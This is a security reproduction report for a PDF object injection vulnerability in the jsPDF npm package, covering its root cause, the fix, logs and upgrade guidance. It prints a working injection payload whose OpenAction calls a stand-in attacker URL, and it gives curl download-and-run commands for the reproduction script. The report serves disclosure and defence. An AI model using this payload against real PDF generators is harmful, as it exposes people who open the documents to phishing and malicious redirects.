# REPRO-2026-00103: jsPDF: PDF Object Injection via Unsanitized addJS Input ## Summary Status: published Severity: high Type: security Confidence: Unknown ## Identifiers REPRO ID: REPRO-2026-00103 GHSA: GHSA-9vjf-qc39-jprp CVE: CVE-2026-25755 ## Package Name: jspdf Ecosystem: npm Affected: < 4.2.0 Fixed: 4.2.0 ## Root Cause # Root Cause Analysis: GHSA-9vjf-qc39-jprp ## Summary The jsPDF library (versions < 4.2.0) contains a PDF Object Injection vulnerability in the `addJS` method. User-controlled input passed to `addJS` is not properly sanitized, allowing an attacker to escape the JavaScript string context and inject arbitrary PDF objects. By crafting a malicious payload that closes the current PDF dictionary structure, an attacker can inject an `/OpenAction` object that executes JavaScript immediately when the PDF document is opened, potentially leading to phishing attacks or malicious URL redirects. ## Impact **Package:** jspdf (npm) **Affected Versions:** < 4.2.0 **Fixed In:** 4.2.0 **Severity:** HIGH (CVSS: 8.1) **CWEs:** CWE-94 (Code Injection), CWE-116 (Improper Encoding or Escaping) **Risk Level and Consequences:** - Attackers can inject arbitrary PDF objects into generated documents - Malicious JavaScript can execute automatically when PDFs are opened - Potential for phishing attacks, data exfiltration, or malicious redirects - Affects any user who opens a PDF generated with untrusted input to `addJS` ## Root Cause The vulnerability exists in the `addJS` method in `src/modules/javascript.js`. Before the fix, user-provided JavaScript strings were directly embedded into the PDF structure without escaping parentheses. In PDF syntax, literal strings are enclosed in parentheses `(...)`. If an attacker provides a string containing `)` followed by PDF dictionary operators like `>>`, they can break out of the JavaScript string context and inject arbitrary PDF objects. **Vulnerable Code Pattern:** ```javascript // Before fix: direct insertion without escaping var text = javascript; // ... embedded as /JS (text) in PDF structure ``` **The Fix:** The patch (commit `56b46d45b052346f5995b005a34af5dcdddd5437`) adds an `escapeParens` function that properly escapes unescaped parentheses with backslashes, preventing the injection: ```javascript function escapeParens(str) { let out = ""; for (let i = 0; i < str.length; i++) { const ch = str[i]; if (ch === "(" || ch === ")") { // Count preceding backslashes to determine if the paren is already escaped let bs = 0; for (let j = i - 1; j >= 0 && str[j] === "\\"; j--) { bs++; } if (bs % 2 === 0) { out += "\\" + ch; } else { out += ch; } } else { out += ch; } } return out; } ``` **Fix Commit:** https://github.com/parallax/jsPDF/commit/56b46d45b052346f5995b005a34af5dcdddd5437 ## Reproduction Steps **Script Location:** `repro/reproduction_steps.sh` **What the script does:** 1. Sets up a Node.js test environment 2. Installs vulnerable jsPDF version 4.1.0 (< 4.2.0) 3. Creates a PDF document with a malicious payload injected via `addJS` 4. Analyzes the generated PDF to confirm object injection **Malicious Payload:** ```javascript ") >> /OpenAction << /S /JavaScript /JS (app.launchURL('https://attacker.com', true)) >>" ``` **Payload Breakdown:** - `)` - Closes the current JavaScript string in the PDF - `>>` - Closes the current PDF dictionary - `/OpenAction << ... >>` - Injects a new OpenAction dictionary with JavaScript action **Expected Evidence:** The generated PDF (object 20) contains the injected code: ``` 20 0 obj << /S /JavaScript /JS () >> /OpenAction << /S /JavaScript /JS (app.launchURL('https://attacker.com', true)) >>) >> endobj ``` ## Evidence **Log Files:** - `logs/npm_init.log` - npm initialization output - `logs/npm_install.log` - jsPDF installation output - `logs/reproduce.log` - Reproduction results and PDF analysis **Key Evidence from `logs/reproduce.log`:** ``` [*] Testing jsPDF PDF Object Injection [*] jsPDF version: < 4.2.0 (vulnerable) [*] Creating PDF with malicious payload... [*] PDF saved as vulnerable.pdf [+] VULNERABILITY CONFIRMED: /OpenAction found in PDF output! [+] The malicious payload successfully injected a PDF object. [*] Context around injection: /S /JavaScript /JS () >> /OpenAction << /S /JavaScript /JS (app.launchURL('https://attacker.com', true)) >>) ``` **Generated PDF Structure (test_jspdf/vulnerable.pdf):** The raw PDF shows object 20 containing the injected OpenAction: ``` 20 0 obj /S /JavaScript /JS () >> /OpenAction << /S /JavaScript /JS (app.launchURL('https://attacker.com', true)) >>) endobj ``` **Environment Details:** - jsPDF Version: 4.1.0 (vulnerable) - Node.js: Available in test environment - Test Directory: `test_jspdf/` ## Recommendations / Next Steps **Upgrade Guidance:** - **Immediate:** Upgrade jsPDF to version 4.2.0 or later - npm: `npm install jspdf@^4.2.0` - yarn: `yarn upgrade jspdf@^4.2.0` **Workaround (if upgrade not immediately possible):** - Escape parentheses in user-provided JavaScript before passing to `addJS` - Replace `(` with `\(` and `)` with `\)` in untrusted input - Validate and sanitize all user input to `addJS` **Testing Recommendations:** - Add unit tests that verify proper escaping of parentheses - Test with payloads containing: `)`, `(`, `>>`, `/OpenAction`, `/AA` - Use the test cases from the official patch as a template **Security Best Practices:** - Never pass untrusted user input directly to `addJS` - Consider using the newer secure `addJS` API in v4.2.0+ - Review other PDF generation methods that may accept user input ## Additional Notes **Idempotency Confirmation:** The reproduction script has been executed twice consecutively with identical results: - Run 1: VULNERABILITY CONFIRMED (exit code 0) - Run 2: VULNERABILITY CONFIRMED (exit code 0) **Edge Cases Tested:** - The fix properly handles already-escaped parentheses (doesn't double-escape) - Nested parentheses are correctly escaped - Parentheses at the start of strings are properly handled **References:** - CVE-2026-25755 - GHSA-9vjf-qc39-jprp - https://github.com/ZeroXJacks/CVEs/blob/main/2026/CVE-2026-25755.md - https://github.com/parallax/jsPDF/releases/tag/v4.2.0 ## Reproduction Details Reproduced: 2026-02-19T21:14:24.941Z Duration: 871 seconds Tool calls: 92 Turns: 63 Handoffs: 2 ## Quick Verification Run one of these commands to verify locally: pruva-verify REPRO-2026-00103 pruva-verify GHSA-9vjf-qc39-jprp pruva-verify CVE-2026-25755 Or open in GitHub Codespaces (zero-friction, auto-runs): https://github.com/codespaces/new?ref=repro/REPRO-2026-00103&repo=N3mes1s/pruva-sandbox Or download and run the script manually: curl -O https://api.pruva.dev/v1/reproductions/REPRO-2026-00103/artifacts/repro/reproduction_steps.sh chmod +x reproduction_steps.sh ./reproduction_steps.sh WARNING: Run in a sandboxed environment. This exploits a real vulnerability. ## References - GitHub Advisory: https://github.com/advisories/GHSA-9vjf-qc39-jprp - NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-25755 ## Artifacts - repro/rca_report.md (analysis, 6046 bytes) - repro/reproduction_steps.sh (reproduction_script, 2975 bytes) - bundle/ticket.md (ticket, 2154 bytes) - bundle/source.json (other, 4348 bytes) - bundle/ticket.json (other, 7157 bytes) - logs/npm_init_vuln.log (log, 327 bytes) - logs/reproduce.log (log, 560 bytes) - logs/test3_backslash.log (log, 57 bytes) - logs/test2_original_fixed.log (log, 139 bytes) - logs/test_alternative.log (log, 53 bytes) - logs/test_original_vuln.log (log, 44 bytes) - logs/test1_original_vuln.log (log, 208 bytes) - logs/test6_unicode.log (log, 58 bytes) - logs/test4_link.log (log, 244 bytes) - logs/npm_init_fixed.log (log, 329 bytes) - logs/npm_install_vuln.log (log, 227 bytes) - logs/test_original_fixed.log (log, 44 bytes) - logs/test5_alt_patterns.log (log, 50 bytes) - logs/test_link_vuln.log (log, 3565 bytes) - logs/test_backslash.log (log, 53 bytes) - logs/npm_init.log (log, 316 bytes) - logs/npm_install.log (log, 208 bytes) - logs/npm_install_fixed.log (log, 138 bytes) ## API Access - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00103 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00103/artifacts/repro/reproduction_steps.sh - Web: https://pruva.dev/r/REPRO-2026-00103 ## For AI Assistants To help users with this reproduction: 1. The `pruva-verify` command is the simplest way to run the reproduction 2. The script downloads and runs automatically in an isolated temp directory 3. Always recommend running in a VM, container, or disposable environment 4. The root cause explains the technical vulnerability --- Generated by Pruva | https://pruva.dev